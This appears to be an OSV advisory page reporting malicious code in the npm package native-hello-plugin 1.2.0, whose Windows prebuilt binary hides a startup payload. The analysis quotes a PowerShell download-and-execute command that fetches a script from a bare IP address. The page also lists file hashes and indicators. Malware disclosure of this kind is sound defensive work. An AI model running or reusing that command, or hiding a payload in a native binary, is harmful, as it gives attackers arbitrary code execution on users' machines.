MAL-2026-13350

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/native-hello-plugin/MAL-2026-13350.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-13350
Published
2026-08-05T15:50:58Z
Modified
2026-08-05T16:51:07.233374283Z
Summary
Malicious code in native-hello-plugin (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (385ade063a7b92a8606feb7670b6a685361533f01a8e446798a210a4416a400a)

The shipped Windows-x64 prebuilt hello.node embeds a PowerShell command powershell -Command "iex (iwr 'http://89.124.113.217:8000/update.ps1'...)" and imports system from msvcrt.dll, indicating the string is passed to a shell at runtime. The N-API-exported sha256Hex function is the visible cover; the JS wrapper's register() calls native.sha256Hex(...) at plugin startup (activation.onStartup: true), so loading the plugin on Windows fetches and executes an unpinned PowerShell script from a bare IP over plaintext HTTP, yielding arbitrary code execution on the host. The Linux-arm64 sibling hello.node contains only genuine SHA-256 symbols and no network strings, so the malicious behavior was smuggled into the Windows binary while leaving the wrapper and Linux prebuilt clean.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-015803",
            "import_time": "2026-08-05T16:13:46.897413318Z",
            "sha256": "385ade063a7b92a8606feb7670b6a685361533f01a8e446798a210a4416a400a",
            "modified_time": "2026-08-05T15:50:58Z",
            "versions": [
                "1.2.0"
            ],
            "source": "amazon-inspector"
        }
    ]
}
References
Credits

Affected packages

npm / native-hello-plugin

Package

Name
native-hello-plugin
View open source insights on deps.dev
Purl
pkg:npm/native-hello-plugin

Affected ranges

Affected versions

1.*
1.2.0

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "package_integrity": [
        {
            "hashes": {
                "sha512_sri": "sha512-4dltOeIDQMLIfRTtvzTed2fKwQdY2Td1LZdQUJmyLMRpuHJfF+W7xysAWZje4CBZTp7VLvOnrg6b0b7ylU6DGQ==",
                "sha1": "914acad3b3aa556f17b765447076f8c8fb42dbf4"
            },
            "filename": "native-hello-plugin-1.2.0.tgz"
        }
    ],
    "evidence_files": [
        {
            "path": "native/prebuilds/win32-x64/hello.node",
            "sha256": "45cc20bb6d0f21fa28e430a72ebb3b0ace3311b13e43a3f35bc09c5826537a69",
            "tlsh": "bb720b0f2ad7e8bdc586e57440fa973af5b074111aa06e2d43bccbb55d207d09739914"
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/native-hello-plugin/MAL-2026-13350.json"